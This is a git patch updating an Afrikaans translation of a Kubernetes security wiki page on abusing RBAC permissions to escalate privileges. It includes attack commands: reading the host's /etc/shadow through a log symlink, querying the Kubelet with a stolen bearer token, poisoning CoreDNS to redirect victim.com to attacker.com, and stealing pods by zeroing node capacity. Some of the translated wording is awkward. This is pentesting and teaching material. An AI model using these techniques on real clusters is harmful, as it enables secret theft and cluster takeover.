From f5ccfb6b104a5688282f2eebc8e28b1f7856f568 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 13 Apr 2025 14:34:14 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus --- .../README.md | 212 ++++++++++-------- 1 file changed, 116 insertions(+), 96 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 1df84e794..4cb29716f 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -7,13 +7,13 @@ Onthou dat jy al die ondersteunde hulpbronne kan kry met `kubectl api-resources` ## **Privilegie Eskalasie** -Verwys na die kuns om **toegang te verkry tot 'n ander prinsiep** binne die kluster **met verskillende privilige** (binne die kubernetes kluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies **4 hoof tegnieke om privilige te eskaleer**: +Verwys na die kuns om **toegang te verkry tot 'n ander prinsiep** binne die kluster **met verskillende voorregte** (binne die kubernetes kluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies **4 hoof tegnieke om voorregte te eskaleer**: -- In staat wees om **te verteenwoordig** ander gebruikers/groepe/SAs met beter privilige binne die kubernetes kluster of na eksterne wolke -- In staat wees om **te skep/te patch/te exec pods** waar jy **SAs kan vind of aanheg** met beter privilige binne die kubernetes kluster of na eksterne wolke +- In staat wees om **te verpersoonlik** ander gebruikers/groepe/SAs met beter voorregte binne die kubernetes kluster of na eksterne wolke +- In staat wees om **te skep/patch/exec pods** waar jy **SAs met beter voorregte** binne die kubernetes kluster of na eksterne wolke kan vind of aanheg - In staat wees om **geheime te lees** aangesien die SAs tokens as geheime gestoor word - In staat wees om **te ontsnap na die node** vanaf 'n houer, waar jy al die geheime van die houers wat in die node loop, die akrediteer van die node, en die toestemmings van die node binne die wolk waarin dit loop (indien enige) -- 'n Vyfde tegniek wat 'n vermelding werd is, is die vermoë om **port-forward** in 'n pod te loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod. +- 'n Vyfde tegniek wat 'n vermelding werd is, is die vermoë om **poort-voorwaarts** in 'n pod te loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod. ### Toegang tot Enige Hulpbron of Werkwoord (Wildcard) @@ -33,7 +33,7 @@ verbs: ["*"] In RBAC bied sekere toestemmings beduidende risiko's: -1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat 'n risiko vir privilige-eskalasie inhou. +1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat die risiko van privilige-eskalasie inhou. 2. **`list`:** Laat toe om alle hulpbronne te lys, wat moontlik sensitiewe data kan lek. 3. **`get`:** Laat toegang tot geheime van diensrekeninge toe, wat 'n sekuriteitsbedreiging inhou. ```yaml @@ -47,9 +47,9 @@ rules: resources: ["*"] verbs: ["create", "list", "get"] ``` -### Pod Create - Steal Token +### Pod Skep - Steel Token -'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die regte te verhoog. +'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die regte na te skaal. Voorbeeld van 'n pod wat die token van die `bootstrap-signer` diensrekening sal steel en dit na die aanvaller sal stuur: ```yaml @@ -125,7 +125,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos ``` #### Stealth -Jy wil waarskynlik **stealthier** wees, in die volgende bladsye kan jy sien waartoe jy toegang kan verkry as jy 'n pod skep wat slegs sommige van die genoemde voorregte in die vorige sjabloon inskakel: +Jy wil waarskynlik **stealthier** wees, in die volgende bladsye kan jy sien wat jy sou kon toegang hê tot as jy 'n pod skep wat slegs sommige van die genoemde voorregte in die vorige sjabloon inskakel: - **Privileged + hostPID** - **Privileged only** @@ -134,7 +134,7 @@ Jy wil waarskynlik **stealthier** wees, in die volgende bladsye kan jy sien waar - **hostNetwork** - **hostIPC** -_Jy kan 'n voorbeeld vind van hoe om die vorige voorregte pod-konfigurasies te skep/te misbruik in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Jy kan 'n voorbeeld vind van hoe om die vorige voorregte pod konfigurasies te skep/te misbruik in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud @@ -195,21 +195,26 @@ Daarom is dit moontlik om **binne 'n pod te kom en die token van die SA te steel ```bash kubectl exec -it -n -- sh ``` +> [!NOTE] +> Standaard word die opdrag in die eerste houer van die pod uitgevoer. Kry **alle die pods in 'n houer** met `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` en dui dan **die houer aan** waar jy dit wil uitvoer met `kubectl exec -it -c -- sh` + +As dit 'n distroless houer is, kan jy probeer om **shell builtins** te gebruik om inligting van die houers te kry of jou eie gereedskap soos 'n **busybox** op te laai met: **`kubectl cp :`**. + ### port-forward -Hierdie toestemming laat toe om **een plaaslike poort na een poort in die gespesifiseerde pod te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debug, maar 'n aanvaller mag dit misbruik om toegang te verkry tot interessante (soos DB's) of kwesbare toepassings (webs?) binne 'n pod: -``` +Hierdie toestemming laat toe om **een plaaslike poort na een poort in die gespesifiseerde pod te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debugeer, maar 'n aanvaller kan dit misbruik om toegang te verkry tot interessante (soos DB's) of kwesbare toepassings (webs?) binne 'n pod: +```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -Soos [**aangegee in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\ -Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te kry (met `kubectl logs `), dit **die `0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\ +Soos [**aangegee in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang kan kry tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\ +Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te kry (met `kubectl logs `), dit die **`0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\ Die Kubelet diens stel die `/logs/` eindpunt bloot wat basies net die **`/var/log` lêerstelsel van die houer** blootstel. Daarom kan 'n aanvaller met **toegang om in die /var/log/ gids** van die houer te skryf, hierdie gedrag op 2 maniere misbruik: -- Om die `0.log` lêer van sy houer (gewoonlik geleë in `/var/logs/pods/namespace_pod_uid/container/0.log`) te wysig om 'n **symlink wat na `/etc/shadow`** wys te wees, byvoorbeeld. Dan sal jy in staat wees om die hosts se skadu lêer te exfiltreer deur: +- Om die `0.log` lêer van sy houer (gewoonlik geleë in `/var/logs/pods/namespace_pod_uid/container/0.log`) te wysig om 'n **symlink wat na `/etc/shadow`** wys te wees, byvoorbeeld. Dan sal jy in staat wees om die hosts skadu lêer te exfiltreer deur: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -217,7 +222,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- As die aanvaller enige hoofrol met die **regte om `nodes/log` te lees**, kan hy eenvoudig 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer **hy toegang verkry tot `https://:10250/logs/sym/` sal hy die gashere se wortel** lêerstelsel lys (die verandering van die symlink kan toegang tot lêers bied). +- As die aanvaller enige hoofpersoon met die **regte om `nodes/log` te lees**, kan hy eenvoudig 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer **hy toegang verkry tot `https://:10250/logs/sym/` sal hy die gashere se wortel** lêer stelsel lys (die verandering van die symlink kan toegang tot lêers bied). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -231,13 +236,13 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// ``` **'n Laboratorium en geoutomatiseerde eksploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Om te verbygaan readOnly beskerming +#### Om readOnly beskerming te omseil -As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids weer monteer as rw: +As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids weer as rw monteer: ```bash mount -o rw,remount /hostlogs/ ``` -#### Bypass van hostPath readOnly beskerming +#### Om hostPath readOnly beskerming te omseil Soos vermeld in [**hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) is dit moontlik om die beskerming te omseil: ```yaml @@ -245,7 +250,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van 'n hostPath mount, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryftoegang te monteer: +Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van 'n hostPath-mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryftoegang te monteer: ```yaml apiVersion: v1 kind: PersistentVolume @@ -310,14 +315,13 @@ https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Lys van Geheimen -Die toestemming om **geheime te lys kan 'n aanvaller in staat stel om werklik die geheime te lees** deur toegang te verkry tot die REST API-eindpunt: +Die toestemming om **geheime te lys kan 'n aanvaller in staat stel om werklik die geheime te lees** deur toegang te verkry tot die REST API eindpunt: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Skep en Lees Geheimen -Daar is 'n spesiale soort Kubernetes geheim van tipe **kubernetes.io/service-account-token** wat serviceaccount tokens stoor. -As jy toestemmings het om geheimen te skep en te lees, en jy weet ook die naam van die serviceaccount, kan jy 'n geheim soos volg skep en dan die slagoffer se serviceaccount token daaruit steel: +Daar is 'n spesiale soort Kubernetes geheim van tipe **kubernetes.io/service-account-token** wat serviceaccount tokens stoor. As jy toestemmings het om geheimen te skep en te lees, en jy weet ook die naam van die serviceaccount, kan jy 'n geheim soos volg skep en dan die slagoffer se serviceaccount token daaruit steel: ```yaml apiVersion: v1 kind: Secret @@ -376,21 +380,21 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Let daarop dat as jy toegelaat word om geheime in 'n sekere naamruimte te skep en te lees, die slagoffer diensrekening ook in daardie naamruimte moet wees. +Let daarop dat as jy toegelaat word om sekrete in 'n sekere naamruimte te skep en te lees, die slagoffer se diensrekening ook in daardie naamruimte moet wees. ### Lees 'n geheim – brute-forcing token ID's -Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, anders as die breër _**lys geheime**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie geheime het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n willekeurige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [bronkode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër _**lys van sekrete**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie sekrete het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n willekeurige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [bronkode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). Die token word gegenereer uit 'n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur af te lei, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge. ### Sertifikaatondertekening Versoeke -As jy die werkwoorde **`create`** in die hulpbron `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het. Jy kan **create** 'n nuwe CeSR van 'n **nuwe node.** +As jy die werkwoorde **`create`** in die hulpbron `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het. Jy kan **'n nuwe CeSR van 'n **nuwe node** skep.** -Volgens die [dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in daardie geval het jy **nie ekstra regte nodig nie**. As nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken opdatering in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `/` of `/*` +Volgens die [dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in daardie geval het jy **nie ekstra toestemmings nodig nie**. As nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken dat jy moet opdateer in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `/` of `/*` -'n **voorbeeld van 'n rol** met al die vereiste regte is: +'n **voorbeeld van 'n rol** met al die vereiste toestemmings is: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -423,10 +427,10 @@ verbs: ``` So, met die nuwe node CSR goedgekeur, kan jy die spesiale toestemmings van nodes **misbruik** om **geheime** te **steel** en **privileges te verhoog**. -In [**hierdie pos**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**hierdie een**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap konfigurasie ingestel met **outomatiese ondertekening** en dit word misbruik om geloofsbriewe van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.\ -As jy **die genoemde privileges het, kan jy dieselfde ding doen**. Let daarop dat die eerste voorbeeld die fout om 'n nuwe node te verhoed om geheime binne houers te benader, omseil omdat 'n **node slegs toegang kan hê tot die geheime van houers wat daarop gemonteer is.** +In [**hierdie pos**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**hierdie een**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap konfigurasie geconfigureer met **outomatiese ondertekening** en dit word misbruik om akrediteerbare van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.\ +As jy **die genoemde privileges het, kan jy dieselfde ding doen**. Let daarop dat die eerste voorbeeld die fout om 'n nuwe node te verhoed om geheime binne houers te benader, omseil omdat 'n **node slegs toegang kan hê tot die geheime van houers wat op dit gemonteer is.** -Die manier om dit te omseil, is net om **'n node-geloofsbrief te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is** (maar kyk net hoe om dit in die eerste pos te doen): +Die manier om dit te omseil, is net om **'n node akrediteerbare te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is** (maar kyk net hoe om dit in die eerste pos te doen): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` @@ -475,28 +479,68 @@ groups: > [!WARNING] > Jy kan **`aws-auth`** gebruik vir **volharding** om toegang te gee aan gebruikers van **ander rekeninge**. > -> egter, `aws --profile other_account eks update-kubeconfig --name ` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die kluster in plaas van net die naam plaas.\ -> Om `kubectl` te laat werk, maak net seker om die **slagoffers kubeconfig** te **konfigureer** en voeg in die aws exec args `--profile other_account_role` sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak. +> egter, `aws --profile other_account eks update-kubeconfig --name ` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die kluster in plaas van net die naam sit.\ +> Om `kubectl` te laat werk, maak net seker om die **slagoffers se kubeconfig** te **konfigureer** en voeg in die aws exec args `--profile other_account_role` by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak. -### Escalating in GKE +### CoreDNS konfigurasie kaart -Daar is **2 maniere om K8s toestemmings aan GCP prinsipes toe te ken**. In enige geval moet die prinsipe ook die toestemming **`container.clusters.get`** hê om inligting te kan versamel om toegang tot die kluster te verkry, of jy sal jou eie kubectl konfigurasie lêer moet **genereer** (volg die volgende skakel). +As jy die regte het om die **`coredns` konfigurasiekaart** in die `kube-system` namespace te wysig, kan jy die adres domeine wat opgelos sal word, aanpas om MitM-aanvalle uit te voer om **sensitiewe inligting te steel of kwaadwillige inhoud in te voeg**. + +Die werkwoorde wat benodig word, is **`update`** en **`patch`** oor die **`coredns`** konfigurasiekaart (of al die konfigurasiekaarte). + +'n Gereelde **coredns-lêer** bevat iets soos hierdie: +```yaml +data: +Corefile: | +.:53 { +log +errors +health { +lameduck 5s +} +ready +kubernetes cluster.local in-addr.arpa ip6.arpa { +pods insecure +fallthrough in-addr.arpa ip6.arpa +ttl 30 +} +prometheus :9153 +hosts { +192.168.49.1 host.minikube.internal +fallthrough +} +forward . /etc/resolv.conf { +max_concurrent 1000 +} +cache 30 +loop +reload +loadbalance +} +``` +'n aanvaller kan dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` te loop, dit te wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` geaccess word, dit eintlik `attacker.com` is wat geaccess gaan word. En dan dit toe te pas deur `kubectl apply -f poison_dns.yaml` te loop. + +'n Ander opsie is om net die lêer te wysig deur `kubectl edit configmap coredns -n kube-system` te loop en veranderinge aan te bring. + +### Eskalasie in GKE + +Daar is **2 maniere om K8s toestemmings aan GCP prinsipes toe te ken**. In enige geval moet die prinsipe ook die toestemming **`container.clusters.get`** hê om in staat te wees om geloofsbriewe te versamel om toegang tot die kluster te verkry, of jy sal **jou eie kubectl konfigurasielêer moet genereer** (volg die volgende skakel). > [!WARNING] -> Wanneer daar met die K8s api eindpunt gepraat word, sal die **GCP auth token gestuur word**. Dan sal GCP, deur die K8s api eindpunt, eers **kontroleer of die prinsipe** (per e-pos) **enige toegang binne die kluster het**, dan sal dit kontroleer of dit **enige toegang via GCP IAM** het.\ -> As **enige** van daardie **waar** is, sal hy **geantwoord** word. As **nie** nie, sal 'n **fout** wat voorstel om **toestemmings via GCP IAM** te gee, gegee word. +> Wanneer daar met die K8s API-eindpunt gepraat word, sal die **GCP-authentikasietoken gestuur word**. Dan sal GCP, deur die K8s API-eindpunt, eers **kontroleer of die prinsipe** (per e-pos) **enige toegang binne die kluster het**, dan sal dit kontroleer of dit **enige toegang via GCP IAM** het.\ +> As **enige** van daardie **waar** is, sal hy **geantwoord** word. As **nie** 'n **fout** wat voorstel om **toestemmings via GCP IAM** te gee, sal gegee word. -Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul **gelyke GCP IAM toestemmings**, en as die prinsipe dit het, sal dit in staat wees om dit te gebruik. +Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul **gelyke GCP IAM-toestemmings**, en as die prinsipe dit het, sal dit in staat wees om dit te gebruik. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Die tweede metode is om **K8s toestemmings binne die kluster toe te ken** deur die gebruiker te identifiseer deur sy **e-pos** (GCP diensrekeninge ingesluit). +Die tweede metode is **om K8s toestemmings binne die kluster toe te ken** deur die gebruiker te identifiseer deur sy **e-pos** (GCP-diensrekeninge ingesluit). -### Create serviceaccounts token +### Skep diensrekeningstoken -Prinsipes wat **TokenRequests** (`serviceaccounts/token`) kan **skep** wanneer daar met die K8s api eindpunt gepraat word SAs (inligting van [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Prinsipes wat **TokenRequests** (`serviceaccounts/token`) kan **skep** wanneer daar met die K8s API-eindpunt gepraat word SAs (inligting van [**hier**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers @@ -504,28 +548,28 @@ Prinsipes wat **`update`** of **`patch`** **`pods/ephemeralcontainers`** kan **k ### ValidatingWebhookConfigurations of MutatingWebhookConfigurations -Prinsipes met enige van die werkwoorde `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **een van sulke webhookconfigurations te skep** om in staat te wees om **toestemmings te verhoog**. +Prinsipes met enige van die werkwoorde `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **een van sulke webhookconfigurations te skep** om in staat te wees om **toestemmings te eskaleer**. Vir 'n [`mutatingwebhookconfigurations` voorbeeld kyk hierdie afdeling van hierdie pos](#malicious-admission-controller). -### Escalate +### Eskaleer -Soos jy in die volgende afdeling kan lees: [**Ingeboude Bevoorregte Verhoging Voorkoming**](#built-in-privileged-escalation-prevention), kan 'n prinsipe nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het.\ +Soos jy in die volgende afdeling kan lees: [**Ingeboude Bevoorregte Eskalasie Voorkoming**](#built-in-privileged-escalation-prevention), kan 'n prinsipe nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate` of `*`** oor **`roles`** of **`clusterroles`** en die onderskeie bindingsopsies het.\ Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skep. ### Nodes proxy -Prinsipes met toegang tot die **`nodes/proxy`** subbron kan **kode uitvoer op pods** via die Kubelet API (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentisering op hierdie bladsy: +Prinsipes met toegang tot die **`nodes/proxy`** subbron kan **kode op pods uitvoer** via die Kubelet API (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentikasie op hierdie bladsy: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -Jy het 'n voorbeeld van hoe om [**RCE te kry deur met 'n Kubelet API te praat hier**](../pentesting-kubernetes-services/index.html#kubelet-rce). +Jy het 'n voorbeeld van hoe om [**RCE te verkry deur gemagtig met 'n Kubelet API te praat hier**](../pentesting-kubernetes-services/index.html#kubelet-rce). -### Delete pods + unschedulable nodes +### Verwyder pods + ongeskeduleerde nodes -Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verplaas** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes verwyder** (`delete` werkwoord oor `nodes` hulpbron) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle **uitgevoer** word in die **gekompromitteerde** **node** en die aanvaller kan **die tokens** van daardie pods **steel**. +Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verwyder** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes verwyder** (`delete` werkwoord oor `nodes` hulpbron) en het beheer oor 'n pod, kan **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** uitgevoer word en die aanvaller kan **die tokens** van daardie pods **steel**. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -538,29 +582,29 @@ kubectl delete pods -n kube-system ``` ### Dienste status (CVE-2020-8554) -Principals wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te misbruik en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Beginsels wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te misbruik en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Nodes en Pods status -Principals met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status`, kan etikette modifiseer om skeduleringsbeperkings te beïnvloed. +Beginsels met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status`, kan etikette modifiseer om skeduleringsbeperkings te beïnvloed. ## Ingeboude Privilege Escalation Preventie Kubernetes het 'n [ingeboude meganisme](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) om privilege escalasie te voorkom. -Hierdie stelsel verseker dat **gebruikers nie hul privileges kan verhoog deur rolle of rolbindings te modifiseer**. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat 'n beskerming bied selfs wanneer die RBAC-outeur inaktief is. +Hierdie stelsel verseker dat **gebruikers nie hul voorregte kan verhoog deur rolle of rolbindings te modifiseer**. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat 'n beskerming bied selfs wanneer die RBAC-outeur inaktief is. -Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit**. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of cluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of cluster-wyd) vir Roles. +Die reël stipuleer dat 'n **gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit**. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of modifiseer: of dit kluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of kluster-wyd) vir Roles. > [!WARNING] -> Daar is 'n uitsondering op die vorige reël. As 'n principal die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die privileges van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê. +> Daar is 'n uitsondering op die vorige reël. As 'n beginsel die **werkwoord `escalate`** oor **`roles`** of **`clusterroles`** het, kan hy die voorregte van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê. ### **Kry & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/modifiseer om jouself of 'n ander SA sekere privileges te gee as jy dit nie reeds het nie.** +> **Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/modifiseer om jouself of 'n ander SA sekere voorregte te gee as jy dit nie reeds het nie.** -Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n diensrekening te bind**. Hierdie voorreg kan potensieel lei tot privilege escalasie omdat dit **die gebruiker toelaat om admin privileges aan 'n gecompromitteerde diensrekening te bind.** +Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n diensrekening te bind**. Hierdie voorreg kan potensieel lei tot privilege escalasie omdat dit **die gebruiker toelaat om admin voorregte aan 'n gecompromitteerde diensrekening te bind.** ## Ander Aanvalle @@ -568,55 +612,29 @@ Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om **rolle aan 'n die Standaard is daar geen versleuteling in die kommunikasie tussen pods nie. Wederkerige verifikasie, twee-weg, pod na pod. -#### Skep 'n sidecar proxy app +#### Skep 'n sidecar proxy app -Skep jou .yaml -```bash -kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' -``` -Bewerk jou .yaml en voeg die ongecommentary lyne by: +'n Sidecar houer bestaan net uit die toevoeging van 'n **tweede (of meer) houer binne 'n pod**. + +Byvoorbeeld, die volgende is deel van die konfigurasie van 'n pod met 2 houers: ```yaml -#apiVersion: v1 -#kind: Pod 